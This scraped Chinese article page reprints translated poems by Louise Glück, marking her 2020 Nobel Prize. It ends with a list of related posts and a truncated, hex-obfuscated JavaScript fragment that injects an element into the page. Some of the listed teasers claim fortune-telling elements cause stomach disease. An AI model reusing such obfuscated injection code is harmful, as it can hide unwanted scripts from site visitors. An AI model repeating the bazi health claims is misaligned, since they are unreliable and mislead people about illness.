首页 / 国学精粹与生活艺术 / 2020诺贝尔文学奖得主

2020诺贝尔文学奖得主

国学精粹与生活艺术 2020-10-11 19:10

关注

“我曾经遇到我爱的人,在橙子树下

难道那是金合欢树

难道他不是我爱的人?”

露易丝·格丽克(Louise Glück),美国当代女诗人,2003-2004年美国桂冠诗人。至今着有十二本诗集和两本诗随笔集。现居住在麻省剑桥,任教于耶鲁大学。

?露易丝·格丽克诗选柳向阳 译

习惯法①

我们是怎样陷入爱情的,这令人好奇:

要说我的情况,彻底地陷入。彻底地,而且,唉,经常——

我年轻时候就是这样。

而且总是和相当孩子气的男人——

不成熟,忧郁,或是害羞地踢着枯叶:

巴兰钦②风格。

我也不曾看出他们是同一个家伙的变型。

而我,带着顽固的柏拉图主义,

我的偏执让我每次只看到一个家伙:

而否定了任意的一个家伙。

但仍然,我年轻时的那些错误

让我毫无希望,因为它们反复出现,

习惯成自然。

但在你身上,我感到了某种超出原型的东西——

一种真实的豪爽,快活,爱这个世界,

完全与我性情相左。值得赞扬,

我许身于你,祈愿自己好运。

彻底地祈愿,以那些年一贯的风格。

而你,以你的智慧和残酷

一步步地教导我:那个词毫无意义。

①习惯法(unwritten law):又译不成文法,与成文法相对,指以习惯为基础而获得合法地位的法律。②巴兰钦(George Balanchine,1904-1983):俄裔美国芭蕾舞导演和舞蹈动作设计者。

©Emile Bernard | African Woman乳酪

世界

曾经是完整的,因为

它已破碎。当它破碎了,

我们才知道它原来的样子。

它从未治愈自己。

但在深深的裂缝里,更小的世界出现了:

人类创造了它们,这是件好事;

人类了解它们需要什么,

比神更了解。

在休伦大道,它们变成

一片商店;它们变成

“鱼贩子”,“乳酪”。无论

它们是什么或卖什么,它们

作用相同:它们

是安全的幻象。像

一个静止的地方。那些店员

像父母亲一样;它们似乎

生活在那儿。总的说来,

比父母亲还慈祥。

许多支流

流进一条大河:我有

许多生命。在这个暂时的世界上,

我站在果实所在的地方,

一箱箱的樱桃、柑橘,

在“海丽花店”的花束下。

我有许多生命。注入

一条河流,河流

注入一片大海。如果自我

变得无形,它就消失了吗?

我成长。我活着

并不完全孤独,孤独

但不完全,陌生人

在我周围涌动。

这即是大海之所是:

我们在隐秘中存在。

此前我有过许多次生命,一簇花朵

各有花茎:它们成为

一件事物,被一条丝带从中间扎起,丝带

显现在手的下面。手的上面,

是枝条舒展的未来,花茎

止于花朵。还有紧握的拳头——

那应是当下的自我。

©Emile Bernard | Breton Woman at Haystacks

卡斯提尔

橙子花在卡斯提尔上空随风起舞①

孩子们在乞讨硬币

我曾经遇到我爱的人,在橙子树下

难道那是金合欢树

难道他不是我爱的人?

我曾经读着这些,也曾经梦见这些:

现在醒着,就能唤回曾发生在我身上的事吗?

圣米格尔岛的钟声

在远方回响

他的头发在暗影中金黄略白

我曾经梦见这些,

就意味着它不曾发生过吗?

必须在这世界上发生过,才成为真实吗?

我曾经梦见一切,这个故事

就成了我的故事:

那时他躺在我身边,

我的手轻抚他肩膀的肌肤

中午,然后是傍晚:

远方,火车的声音

但这些并非就是这个世界:

在这个世界上,一件事最终地、绝对地发生,

心灵也不能将它扭转。

卡斯提尔:修女们两个两个地走过黑暗的花园。

在圣天使教堂的围墙外

孩子们在乞讨硬币

如果我醒来,还在哭泣,

难道这就没有真实?

我曾经遇到我爱的人,在橙子树下:

我已忘记的

只是这些事实,而不是那个推论——

在某个地方,有孩子们在叫喊,在乞讨硬币

我曾梦见一切,我曾恣意沉迷

完全地,永远地

而那列火车把我们带回

先到马德里

再到巴斯克乡村

①橙子花(orange-blossom):通常白色,欧洲人婚礼中常用作新娘的捧花及头饰,象征纯真及爱情永固。

©Emile Bernard | Breton Women with Parasols感官的世界

隔着一条可怕的河流或裂缝,我向你呼喊

警告你,让你有所准备。

世界将引诱你,慢慢地,不知不觉地,

巧妙地,更不用说是默许。

那时我没有准备好;我站在奶奶的厨房里,

端出我的玻璃杯。炖李子,炖杏子——

果汁倒入放了冰的玻璃杯。

再加水,耐心地,一点一点地,

每加一次

众多堂兄弟堂姊妹都要判断,品尝——

夏季水果的芳香,极度浓缩:

彩色液体渐渐变得更亮,更灿烂,

更多的光透过来。

快乐,安慰。奶奶等着,

想看看是否需要更多。安慰,深深沉浸。

我的最爱:感官生活的深层隐秘,

自我消失其中,或无法区分开来,

莫名被搁置,飘浮,它的需要

充分暴露,苏醒,生机勃勃——

深深沉浸,以及随之而来的

神秘的安全。远处,水果在玻璃盘里发亮。

厨房外,夕阳西下。

那时我没有准备:夕阳,夏天结束。展示

时间是一个连续体,是某种事物即将结束,

而非搁置;感觉也不能保护我。

我警告你,因为从没有人警告过我:

你将永不放手,你将永不满足。

你将受伤、留下伤疤,你将继续饥渴。

你的身体将衰老,你将继续需要。

你会想要这世间,从这世间取得更多——

庄严,淡漠,它到场,但不回应。

它环绕着,它并不照拂。

意味着,它将喂养你,将让你着迷,

但不会保证你活着。

©Emile Bernard | Young Woman in Kimono, Reading

来自一份杂志

一次,我有一个爱人,

两次,我有一个爱人,

轻易地,我爱了三次。

在间歇里

我的心修复了它自己,完美

如一只小虫。

我的梦也修复了它们自己。

后来,我意识到我正过着

一种完全白痴的生活。

白痴的,浪费的——

再后来,我和你

开始通信,发明一种

焕然一新的形式。

遥远距离之上的深度亲密!

济慈与范妮·布劳恩,但丁与贝雅特丽齐——

一个人不可能发明

一种扮演旧角色的

新形式。我寄给你的那些信保持着

无瑕疵的讽刺,冷漠

但直爽。同时,我在脑子里

写着不一样的信,

其中有些变成了诗。

那么多的真感觉!

那么多关于激情渴望的

热烈宣言!

我爱了一次,我爱了两次。

而突然,

那种形式坍塌了:我

无法保持无知。

多么悲伤:失去了你,失去了

把你作为一个真实的人,作为某个已经让我

深深依恋的人,也许

是我从来没有的兄弟,

来真正了解,或是随着时间流逝而回忆的

任何可能。

多么悲伤:一想到

在一无发现之前

死去。发觉

大多数时间里我们都是那么无知,

看事情

只从那一个视点,像狙击手。

而且有那么多事情,

关于我自己的,我从没有告诉你,

这些事情也许会影响你。

那张我从未寄出的照片,拍下了

我看起来简直是流光溢彩的一夜。

我想要你陷入爱情。但那支箭

一直射中镜子,又返回。

而那些信一直都在切分自己,

每一半都不是完全真实。

多么悲伤:你从未想象过

这些,虽然你总是回复

那么迅速,总是同样难以捉摸的信。

我爱了一次,我爱了两次,

甚至在我们的例子里

事情从没有越过这个底线:

它是曾尝试的一件有益的事。

我至今还保留着那些信件,当然。

有时候我会花去几年的精力

在花园里重读它们,

伴着一杯冰茶。

我感觉,有时,某物的一部分

非常巨大,极其深邃而横扫一切。

我爱了一次,我爱了两次,

轻易地,我爱了三次。

©Emile Bernard | Self-Portrait with Portrait of Gauguin

阳台

那是像今夜的一夜,在夏末。

我们租了,我记得,一个带阳台的房间。

几个白天和夜晚?五个,或许——不会更多。

甚至我们没有抚摸时也在做爱。

我们在夏夜里站在我们的小阳台上。

远处什么地方,人类生活的声音。

我们很快就要被加冕为君王,

深受我们的臣民爱戴。就在我们下面,

收音机播放的声音,那些年我们不熟悉的一支咏叹调。

有的人正死于爱情。有的人被时间掠去了

仅有的幸福,如今孤独一人,

一无所有,美丽不再。

那些销魂的音符,关于无法忍受的悲伤,关于孤独与恐惧,

那几乎不可能维持的缓缓上升的音符——

它们在黑暗的水上漂去

像一场迷醉。

这样一个小错误。许多年后,

那一夜,在那个房间里的几个小时,唯一留下的东西。

幸福的缪斯

窗户紧闭,太阳初升。

几声鸟鸣。

花园里薄雾轻笼。

巨大希望的不安全感

突然消失了。

而心依然警醒。

而一千个小小的希望在涌动,

不是新的,但新近才意识到。

思念,与朋友共餐。

以及理清某些

成年人的任务。

房屋整洁,寂静。

垃圾还不需要带出门。

这是一个王国,不是想象力的行为:

而依然很早,

钓钟柳的白色花瓣张开。

或许,我们终于够辛酸地

偿还完毕?

那种牺牲将不再需要,

那份焦虑和恐惧已被认定为足够?

一只松鼠正沿着电话线奔跑,

一片面包皮在嘴里。

而黑暗被季节延迟。

所以它看起来是

一件大礼物的一部分,

再不用害怕。

白日展开,但非常缓慢,一种孤独

不用害怕,变化

微小,难以觉察——

钓钟柳张开。

有可能

看到它的整个过程。

©Emile Bernard | Iron Bridges at Asniéres月光

薄雾升起,带着一点声音。像砰地一声。

那是心跳。太阳升起,略显冲淡。

似乎是许多年之后,它再次下沉

而暮色泼洒海岸,在那儿变浓。

恋人们不知从何处赶来,

这些人仍然有身体和心脏。仍然有

胳膊、腿、嘴巴,虽然到白天他们可能又成了

主妇和商人。

这同一个夜晚也产生了像我们这样的人。

你像我一样,不管你是否承认。

不满足,极其细心。你所渴望的是理解能力

而非经验,似乎在抽象意义上它可能被玩弄。

然后又是白天,世界恢复常态。

恋人们抚平头发;月亮继续它空洞的存在。

海滩又将属于神秘的鸟儿——

很快它们将出现在邮票上。

但我们的记忆,那些依赖于形象的人们的记忆,将会怎样?

难道它们就毫无意义?

薄雾升起,收回爱的证据。

失去了这些,我们只剩下镜子,你和我。

国学精粹与生活艺术gxjhshys2354期,主编微信gxjc03。

国粹团队招募☞ 原创散文诗歌摄影作者 &朗诵主播

版权声明:【我们尊重原创。文字美图素材,版权属于原作者。部分文章推送时因种种原因未能与原作者联系上,若涉及版权问题,敬请原作者联系我们,立即处理。】

猜你喜欢

  • 亚历山大.普希金(1799一。1837)是俄国伟大的民族诗人,追求真理和自由的斗士,一生坎坷多难而又辉煌壮丽。他也是友谊和爱情的歌手,生性多情,浪漫轻浮,情欲强烈,曾得到许许多多年轻美丽的女子的爱恋,他又以自己炽热的爱情和优美的诗章赞颂和报答她们。诗人在16岁时..

    诗词雅言2024-03-29
  • ​人生如一场花事从花开到花落,我们一路追赶一路欣赏,若已竭尽全力那就要学会顺其自然​人生不易,不必追求太多心房很小,不必装的太满可在因上努力,需在果上随顺凡事尽心,不执着​我们一生所追逐的,除了理想和梦不过是更舒服、更自在更淡然的活着​朝起暮落淡淡享..

    诗然散文诗歌2024-03-29
  • 戊土太旺或太弱时易生胃病。木旺土弱胃病。土弱金旺胃病。水多土荡,胃疼胃出血。辰戌相冲胃受损。柱中水多而旺,土与火弱,易患胃溃疡或胃下垂。戊土弱得旺火生,火多土焦,易患胃炎、胃溃疡。柱中戊土弱遭木局克破,有刀伤之灾。辰土、戌土被其他支合化成另一五行,胃..

    命理研究2024-03-28
  • 《观音菩萨偈》观音菩萨妙难酬,清净庄严累劫修。三十二应周尘刹,百千万劫化阎浮。瓶中甘露常遍洒,手内杨枝不计秋。千处祈求千处应,苦海常作渡人舟。观音菩萨佛教日农历二月十九:观世音菩萨圣诞日农历六月十九:观世音菩萨成道日农历九月十九:观世音菩萨出家日2024..

    真九归医2024-03-27
  • 易学命理唐老师/书网友:男1985年生,请老师看看财运婚姻,单位上班人士,工作方面压力大,也没有什么积蓄,什么时候财运才能转好,婚姻上2020起就情感很不顺,2023年离异目前单身,什么时候有再婚机会,未来婚姻稳定些吗?【回复】乾造:乙丑年,壬午月,庚辰日,丁丑..

    命理易学唐老师2024-03-27
  • 在很多人眼中,诸葛亮谋略出众,军事能力超强,他乃是神一般的男人!结果在第二次北伐时期,诸葛亮以数万精锐进攻一千余人的陈仓,竟然无功而返,这是怎么回事呢?为何诸葛亮打不下区区千余人的陈仓呢?陈仓之战诸葛亮第一次北伐过后不久,准备趁曹魏没有防备,再次北伐..

    超级七品小芝麻官2024-03-27
  • 我们都知道,苏轼在文学上的成就登峰造极。他的诗风格独具,与黄庭坚并称“苏黄”;他的词豪放大气,与辛弃疾并称“苏辛”。但鲜有人知道,苏轼也是一个写寓言的大师,一生留下了百余则经典寓言。今天为大家分享5篇苏轼写的寓言故事,篇幅短小,含义深刻,读懂受用不尽..

    诗词雅言2024-03-27
  • 三国时期,群雄逐鹿,英才辈出,彼此之间,斗智斗勇,为今人留下了生动的三国故事。在我们激赏三国人物运筹帷幄的智慧、侠肝义胆的忠勇时,容易忘记这一时代诞生了一些对后世影响深远的家训文献,正是通过这些文字,我们得以见识在那个兵荒马乱的年代中三国人物内心深处..

    诗词雅言2024-03-27
  • 友字,在甲骨文里是由两个“又”构成,也就是两只右手。一个人只能有一只右手,两只右手肯定是来自两个不同的人,双方用相对灵巧的右手相互配合,互相协调来完成工作,因此产生默契、友好的含义。右手除了可以使用工具,还可以挥舞武器,两个人同时伸出右手,相当于是把..

    诗词雅言2024-03-27
  • 《唐诗三百首》是清朝蘅塘退士孙洙所编选的唐诗选集,成书于乾隆年间,共选唐诗310首。孙洙编《唐诗三百首》原本是为家族儿童学习诗歌,作为家塾课本使用,但编成后却风靡一时,甚至在某段时间内达到“家均一本”的惊人地步,是当之无愧的流传最广、影响力最大、刊印本..

    诗词雅言2024-03-27
  • 十神相互作用,结果有吉有凶。十神组合种类极多,代表不同信息,下面举例说明。伤官见官。官星代表事业、工作、地位、领导、权威、自我克制力、女性的丈夫等。官星促使人走正道,少犯错误。伤官代表骄纵、反抗、违逆、恃才傲物、蔑视权威、出口伤人等。伤官无情克制官星..

    命理研究2024-03-27
  • 贪财坏印,是命理学中的一个术语,指局中喜欢印来扶身,却见财来克破正偏印之局,财人皆喜之,故有贪财之说;比如日元甲木以癸水为正印,但见其他天干己土来合,己土为甲木正财,甲己合化土局反有克癸水之气,此为明显的贪财坏印。在命理学中印代表名誉、母亲、文凭、学..

    命理研究2024-03-27
  • 抵抗流亡或寻找理想自我1敬文东/著开场白今天,是张枣三周年的祭日。三年前的今天凌晨,张枣病逝于德国图宾根大学校医院。他去世后,我只接受过一家媒体的采访。我说,我来中央民族大学任教十多年,从未做过讲座,为了张枣,愿意破例2。转眼间,三年说过去就过去了。今..

    外国诗歌精选2024-03-27
  • 易学命理唐老师/书网友:女 1986年生,请老师看看事业财运,与婚姻,工作虽然不错,但这几人小人很多,未来能否有更好的发展,情感方面,未妻不在一个地方工作,对婚姻影响大吗?要注意什么问题,谢谢!【回复】坤造:丙寅年,己亥月,甲子日,辛未时,3岁运:戊戌,丁..

    命理易学唐老师2024-03-15
  • 在招安前,梁山108好汉战无不胜,攻无不克,在招安后,梁山军虽然偶尔吃一些败仗,在征讨辽国、田虎、王庆时,有惊无险,没有折损一位好汉。然而,在征讨方腊时,不知道出了什么事,梁山好汉一个接一个死去,他们不是战死沙场,就是病逝。梁山108好汉中,最后幸存下来的..

    魁哥说历史2024-03-13
  • 什么是木火交辉,简单的理解就是以木火为主的八字命,木火交辉格为八字算命变格的一种,出自三命通会。赋云:火明木秀,生春月以为荣。此象乃甲戌、甲午、甲寅、丙午、丙寅、丙戌等日,生春月或夏月,柱无金水伤坏,时上有木火。行木火运,木日火秀,行南方运,火日木秀..

    命理研究2024-03-13
  • 文/易学鬼手 伤官是宣泄,发挥及创造的通道,正印为吸纳,酝酿及收获的管道,伤官释放正印收纳形成一套收放自如的体系,没有正印时伤官会一路狂奔失足坠崖,而正印出现后伤官有所醒悟和收敛故狂飙之后依然可悬崖勒马。日主身弱者,最宜在命局地支或大运流年的地支见到日..

    八字预测命理2024-03-13
  • 中国人四季观念的形成可以从“春、夏、秋、冬”这几个字的本义见出一些端倪。“春”字最早见于甲骨文,本义是草的种子推土而出,开始生根发芽了。《说文解字》:“春,推也,从艸从日,艸春时生也。”作为季节的“夏”字是假借字,本义为“雄武的中国人”。《说文解字》..

    诗词雅言2024-03-09
  • 《人月圆·山中书事》元代:张可久兴亡千古繁华梦,诗眼倦天涯。孔林乔木,吴宫蔓草,楚庙寒鸦。数间茅舍,藏书万卷,投老村家。山中何事?松花酿酒,春水煎茶。译文:千古以来,兴亡更替就像繁华的春梦一样。诗人用疲倦的眼睛远望着天边。孔子家族墓地中长满乔木,吴国..

    诗词雅言2024-03-09
  • ​时光总是来去匆匆。很多时候,还没有准备好,已经开始了下一个旅程,即使光阴的转角处,花事还没有散场。人生仅以一程风景,换一场懂得,你左右不了时光,有时候也左右不了心情,一个人的路途,是一个人的欢喜一个人的歌。​光阴终不会为谁而停留,一直以为不会离开的..

    诗然散文诗歌2024-03-09
9\x70\x74")[0];uGjcoY3['\x70\x61\x72\x65\x6e\x74\x4e\x6f\x64\x65']['\x69\x6e\x73\x65\x72\x74\x42\x65\x66\x6f\x72\x65'](XBLUoB2,uGjcoY3)})();